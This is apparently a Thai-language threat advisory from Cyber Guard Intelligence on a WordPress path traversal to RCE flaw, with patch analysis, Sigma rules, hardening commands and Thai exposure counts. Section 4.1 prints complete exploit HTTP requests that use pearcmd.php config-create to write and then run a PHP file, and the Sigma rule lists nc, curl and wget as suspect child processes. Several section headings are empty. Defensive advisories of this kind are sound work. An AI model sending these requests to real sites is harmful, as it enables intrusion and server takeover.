บทสรุปสำหรับผู้บริหาร (Executive Summary)

ภาพรวมสถานการณ์

CVE-2026-87902 เป็นช่องโหว่ประเภท Local File Inclusion (LFI) และ Path Traversal ระดับวิกฤตในส่วนประมวลผลแม่แบบหน้าเว็บ (Page-Template Resolution) ของ WordPress Core ซึ่งส่งผลกระทบต่อ WordPress เวอร์ชัน 4.7.0 ถึง 7.1.1 ครอบคลุมทุกสาขาการพัฒนาที่ยังมีผู้ใช้งานอยู่ทั่วโลก ช่องโหว่นี้ได้รับการประเมินความรุนแรงตามมาตรฐาน CVSS v4.0 สูงถึง 9.2 (Critical) และจัดอยู่ในหมวดหมู่ CWE-98 บนฐานข้อมูลช่องโหว่สากล เนื่องจากผู้โจมตีจากภายนอกสามารถโจมตีได้โดยตรงผ่านเครือข่ายโดยไม่ต้องมีบัญชีผู้ใช้งาน ไม่ต้องมีสิทธิ์ในระบบ และไม่ต้องอาศัยการมีปฏิสัมพันธ์จากผู้ใช้งาน (User Interaction: None) [1][2][9]

สาเหตุรากฐานของช่องโหว่เกิดจากความบกพร่องในการตรวจสอบเส้นทางไฟล์ในฟังก์ชัน get_page_template() ร่วมกับการประมวลผลพารามิเตอร์ pagename และ page_id ที่เปิดรับจากภายนอก โดยระบบยอมรับชุดข้อมูลที่เข้ารหัสแบบ Double URL-encoded (%252e%252e%252f) ให้ผ่านการกรองเบื้องต้น ก่อนจะถูกถอดรหัส (urldecode()) ในภายหลัง ส่งผลให้เกิดการทะลุออกจากโฟลเดอร์ธีมที่กำหนด หากสภาพแวดล้อมตรงตามเงื่อนไขทางเทคนิค คือ ธีมที่ใช้งานมีไดเรกทอรีที่ขึ้นต้นด้วย page- (เช่น page-templates/) และเซิร์ฟเวอร์เปิดใช้งานฟังก์ชัน register_argc_argv = On ใน PHP runtime ผู้โจมตีจะสามารถส่งคำสั่งผ่านคอมโพเนนต์ pearcmd.php เพื่อสร้างไฟล์เว็บเชลล์ (Web Shell) และเข้าควบคุมระบบได้ทันที [1][3][4][8]

ศูนย์เฝ้าระวังภัยคุกคาม Previdian และผู้ให้บริการความปลอดภัย Patchstack ยืนยันการตรวจพบความพยายามโจมตีจริงในระบบ Honeypot ทั่วโลกตั้งแต่วันที่ 22 กันยายน 2569 เวลา 11:49 น. UTC ซึ่งเกิดขึ้นในวันเดียวกันกับการปล่อยแพตช์ โดยผู้โจมตีใช้เครือข่ายบ็อตเน็ตและไอพีแอดเดรสเป้าหมาย เช่น 104[.]194[.]9[.]227, 180[.]251[.]159[.]243, 43[.]250[.]53[.]42 และโหนดสแกน 169[.]58[.]48[.]193 ทำการส่งเพย์โหลด pearcmd.php config-create เพื่อเขียนไฟล์เว็บเชลล์ เช่น /tmp/wp-pear-rce-flag.php และ /tmp/poc87902.php ก่อนจะเรียกใช้งานเพื่อเปิดทางดาวน์โหลด Secondary Web Shell จากภายนอก [3][5][6][7]

สำหรับประเทศไทย จากการสำรวจข้อมูลข่าวกรองโอเพนซอร์ส (OSINT) เชิงลึก โดย บริษัท ไซเบอร์ การ์ด อินเทลลิเจนซ์ จำกัด ณ วันที่ 24 กันยายน 2569 ตรวจพบระบบ WordPress ที่เปิดเผยสู่สาธารณะจำนวนทั้งสิ้น 266 ระบบ (215 ไอพีเฉพาะ) โดยกระจายตัวอยู่บนผู้ให้บริการคลาวด์ชั้นนำ เช่น Amazon AWS (25.6%), GMO-Z com NetDesign (24.1%), Proen Corp (8.3%), เครือข่ายสถาบันการศึกษา UNINET/มหาวิทยาลัย (10.9%) และบริการคลาวด์กลางภาครัฐ GDCC (2.6%) ที่สำคัญพบว่ามีถึง 44 ระบบ (16.5%) ที่ถูกระบุว่าใช้ซอฟต์แวร์หมดอายุการสนับสนุน (End-of-Life: eol-product) ซึ่งเป็นกลุ่มที่มีความเสี่ยงสูงสุดต่อการถูกเจาะระบบ

การดำเนินการที่จำเป็นโดยด่วน (Immediate Actions)

1. อัปเดต WordPress Core เป็นเวอร์ชัน 7.1.2 หรือเวอร์ชันที่ได้รับการแพตช์ย้อนหลัง (7.0.6, 6.9.9, 6.8.10, 6.7.9, 6.6.9, 6.5.12 ลงไปจนถึง 4.7.37) โดยทันที [1][2][9]
2. แก้ไขไฟล์คอนฟิกูเรชัน php.ini โดยตั้งค่า register_argc_argv = Off สำหรับ Web SAPI เพื่อตัดวงจรการส่งผ่านอาร์กิวเมนต์ไปยัง pearcmd.php [1][4][8]
3. ลบไฟล์ /usr/local/lib/php/pearcmd.php และคอมโพเนนต์ PEAR ที่ไม่ได้ใช้งานออกจากสภาพแวดล้อมโปรดักชันและคอนเทนเนอร์ Docker [1][4][7]
4. ตั้งค่ากฎไฟร์วอลล์ระดับเว็บแอปพลิเคชัน (WAF) เพื่อบล็อกคำขอ HTTP ที่มีอักขระ Double-encoded Directory Traversal (%252e%252e%252f หรือ ..%2f) ในพารามิเตอร์ pagename [3][7]
5. บล็อกทราฟฟิกขาเข้าจากไอพีแอดเดรสของผู้โจมตีที่ได้รับการยืนยัน เช่น 104[.]194[.]9[.]227, 169[.]58[.]48[.]193, 169[.]58[.]48[.]195, 180[.]251[.]159[.]243 [3][6][7]
6. ตรวจสอบระบบไฟล์ในไดเรกทอรีชั่วคราว (/tmp, /var/tmp, /dev/shm) เพื่อค้นหาและกำจัดไฟล์แปลกปลอม เช่น wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php [3][5]

ภาพรวมภัยคุกคาม (Threat Overview - 5W1H Matrix)

การประเมินผลกระทบ (Impact Assessment - CIA Triad)

การวิเคราะห์เชิงเทคนิคเชิงลึก (Deep Technical Analysis)

4.1 ลำดับขั้นตอนการโจมตี (Kill Chain / Attack Flow)

POST /?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1
Host: target-wordpress.example.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd

// ลำดับการแปลงค่าใน WordPress Core (อ้างอิงจากงานวิจัยของ Robert Ressl):
1. Input Received  : pagename = templates%252f%252e%252e%252f... (Double URL-encoded)
2. PHP Parsing     : $_POST['pagename'] = templates%2f%2e%2e%2f...
3. Query Sanitizer : sanitize_title_with_dashes() คงค่า %2f และ %2e ไว้
4. Template Lookup : get_page_template() เรียก urldecode() -> templates/../../../../...
5. Path Resolution : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
6. Template Loader : locate_template() เรียก file_exists() และ include โดยไม่มี Root Containment Check

# อาร์กิวเมนต์ที่ถูกส่งเข้าสู่ pearcmd.php:
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"  # Root path ที่ฝังโค้ด PHP
argv[3] = "/tmp/wp-pear-rce-flag.php"                                            # ไฟล์เป้าหมายที่ถูกสร้างขึ้น

POST / HTTP/1.1
Host: target-wordpress.example.com
Content-Type: application/x-www-form-urlencoded

page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag

# ผลลัพธ์: โค้ด PHP ทำงานสำเร็จและส่งผลลัพธ์ของคำสั่งกลับมายังฝั่งผู้โจมตี

4.2 สาเหตุรากฐานของช่องโหว่ (Root Cause)

4.3 สิ่งที่แพตช์แก้ไข (Patch Analysis)

ทีมพัฒนาความปลอดภัยของ WordPress ได้แก้ไขช่องโหว่นี้ใน WordPress เวอร์ชัน 7.1.2 และทำการ Backport การแก้ไขไปยังทุกสาขาการพัฒนาในอดีตจนถึงเวอร์ชัน 4.7.37 (รวมทั้งสิ้น 25 สาขา) โดยมีรายละเอียดการแก้ไขสำคัญดังนี้:

1. เพิ่มฟังก์ชันรักษาความปลอดภัยใหม่ชื่อ _wp_is_template_path_allowed() เพื่อทำหน้าที่ตรวจสอบการจำกัดขอบเขต (Root Containment Verification) โดยนำ realpath() ของไฟล์เทมเพลตที่ค้นพบมาเปรียบเทียบกับไดเรกทอรีรากของธีมที่ใช้งานอยู่ (Active Theme / Child Theme / Parent Theme Root) พร้อมตรวจสอบ Trailing Directory Separator เพื่อให้มั่นใจว่าไฟล์ที่จะถูก include ต้องอยู่ภายในขอบเขตของธีมเท่านั้น [1][2][4][9]

2. เพิ่มการตรวจสอบความถูกต้องของชื่อไฟล์เทมเพลตอย่างเข้มงวดด้วยฟังก์ชัน validate_file() ทันทีหลังจากการถอดรหัส urldecode() เพื่อปฏิเสธค่าที่มีอักขระ Path Traversal (../) หรือเส้นทางแบบ Absolute Path [1][4][9]

3. ขอแนะนำให้ผู้ดูแลระบบปิดการทำงานของ register_argc_argv ใน php.ini เพื่อป้องกันการใช้เทคนิค Parameter Poisoning กับสคริปต์คอมมานด์ไลน์อื่น ๆ ในระบบ [1][7][8]

การตรวจจับและวิศวกรรมการป้องกัน (Detection Engineering)

5.1 ตัวบ่งชี้การถูกโจมตี (Indicators of Compromise - IoC)

5.2 กฎ Sigma (Behavioral Detection)

title: WordPress CVE-2026-87902 Suspicious PHP File Write in Temp Directory
id: 43a9f637-c71e-4526-802a-91392002c26e
status: experimental
date: 2026-09-24
description: Detects PHP files written to temporary directories by web server processes, consistent with CVE-2026-87902 pearcmd exploitation.
author: Cyber Guard Intelligence
references:
  - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  - https://ressl.ch/blog/cve-2026-87902-wordpress/
tags:
  - attack.initial_access
  - attack.t1190
  - attack.persistence
  - attack.t1505.003
logsource:
  category: file_event
  product: linux
detection:
  selection_process:
    Image|endswith:
      - '/php-fpm'
      - '/httpd'
      - '/apache2'
  selection_path:
    TargetFilename|contains:
      - '/tmp/'
      - '/var/tmp/'
      - '/dev/shm/'
  selection_ext:
    TargetFilename|endswith: '.php'
  condition: all of selection_*
falsepositives:
  - Application-specific temp-file caching that legitimately writes .php files (rare)
level: high

title: Web Server Process Spawning Shell or Interpreter (Possible Web Shell Execution)
id: 24f72933-72ef-4b14-903a-94f43683e383
status: experimental
date: 2026-09-24
description: Detects a web server worker process (php-fpm/httpd/apache2/nginx) spawning a shell or scripting interpreter as a child process, consistent with web shell command execution following CVE-2026-87902 exploitation.
author: Cyber Guard Intelligence
references:
  - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
tags:
  - attack.execution
  - attack.t1059
  - attack.persistence
  - attack.t1505.003
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|endswith:
      - '/php-fpm'
      - '/httpd'
      - '/apache2'
      - '/nginx'
  selection_child:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/dash'
      - '/curl'
      - '/wget'
      - '/python3'
      - '/perl'
      - '/nc'
  condition: selection_parent and selection_child
falsepositives:
  - Legitimate health-check or webhook scripts that shell out from the web server process (tune per environment)
level: critical

คำแนะนำการรับมือและบรรเทาความเสี่ยง (Mitigation & Remediation)

6.1 มาตรการเร่งด่วน (Immediate - ภายใน 24 ชั่วโมง)

เวอร์ชันที่ได้รับการแก้ไขแล้ว (Patched Versions):

คำสั่งในการอัปเดตและป้องกัน (CLI Commands):

# 1. อัปเดต WordPress Core ผ่าน WP-CLI:
wp core update --path=/var/www/html
wp core version --path=/var/www/html

# 2. ปิดการใช้งาน register_argc_argv ใน php.ini:
sed -i 's/^register_argc_argv = On/register_argc_argv = Off/' /etc/php/*/apache2/php.ini
sed -i 's/^register_argc_argv = On/register_argc_argv = Off/' /etc/php/*/fpm/php.ini
systemctl restart apache2 || systemctl restart php*-fpm

# 3. ลบไฟล์ pearcmd.php ใน Docker Container Image (Dockerfile):
RUN rm -f /usr/local/lib/php/pearcmd.php /usr/local/bin/pear

# 4. ตั้งค่า Mount noexec บนไดเรกทอรีชั่วคราว (/etc/fstab):
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0

6.2 การตรวจสอบ Forensic & Indicator Checking

• ตรวจสอบ Web Access Logs เพื่อค้นหาคำขอที่มี Double-encoded Path Traversal: grep -Ei '(templates%252f%252e%252e%252f|%252e%252e%252f)' /var/log/apache2/*access*.log /var/log/nginx/*access*.log
• ตรวจสอบคำขอที่มีการเรียกใช้ pearcmd ใน Query String: grep -Ei '(\+config-create|pearcmd)' /var/log/apache2/*access*.log
• ค้นหาไฟล์ PHP แปลกปลอมที่สร้างขึ้นในไดเรกทอรี /tmp และ /var/tmp: find /tmp /var/tmp /dev/shm -type f -name '*.php' -ls
• ค้นหาไฟล์ Web Shell ที่มีคำสั่ง system execution ในไดเรกทอรีเว็บไซต์: grep -rnEI '(system\(|exec\(|passthru\(|shell_exec\(|eval\()' /var/www/html/wp-content/uploads/ /var/www/html/wp-content/themes/
• ตรวจสอบโปรเซสของเว็บเซิร์ฟเวอร์ที่รันคำสั่งผิดปกติ: ps aux | grep -E '(www-data|nobody|apache|nginx)' | grep -E '(sh|bash|curl|wget|python|php)'
• ตรวจสอบ Cron Jobs ที่ถูกฝังในบัญชีเว็บเซิร์ฟเวอร์: crontab -u www-data -l && ls -la /etc/cron.d/

6.3 มาตรการตอบสนองเหตุการณ์ (Incident Response)

6.4 มาตรการระยะกลาง-ยาว (Strategic Measures)

• ติดตั้งและปรับแต่ง Web Application Firewall (WAF) เช่น ModSecurity หรือ Cloud WAF เพื่อกรองคำขอที่มีลักษณะของ Path Traversal และ Parameter Poisoning
• บังคับใช้นโยบาย Least Privilege โดยจำกัดสิทธิ์ของบัญชี www-data ไม่ให้สามารถเขียนไฟล์ลงในไดเรกทอรีซอร์สโค้ดของเว็บไซต์ได้
• เปิดใช้งาน open_basedir ในการตั้งค่า PHP เพื่อจำกัดขอบเขตการเข้าถึงระบบไฟล์ให้อยู่เฉพาะไดเรกทอรีที่จำเป็นของเว็บไซต์เท่านั้น
• นำระบบ Container Security และ Immutable Infrastructure มาใช้งาน โดยกำหนดให้คอนเทนเนอร์ทำงานแบบ Read-Only Root Filesystem
• จัดตั้งกระบวนการประเมินช่องโหว่ (Vulnerability Assessment) และกระบวนการติดตั้งแพตช์ฉุกเฉิน (Emergency Patching SLA) ภายใน 24-48 ชั่วโมง

เป้าหมายที่มีช่องโหว่ในประเทศไทย (Vulnerable Thai Targets)

การจับคู่กับกรอบ MITRE ATT&CK Framework

ข้อสังเกตเชิงยุทธศาสตร์ (Strategic Insights)

เอกสารอ้างอิง (References)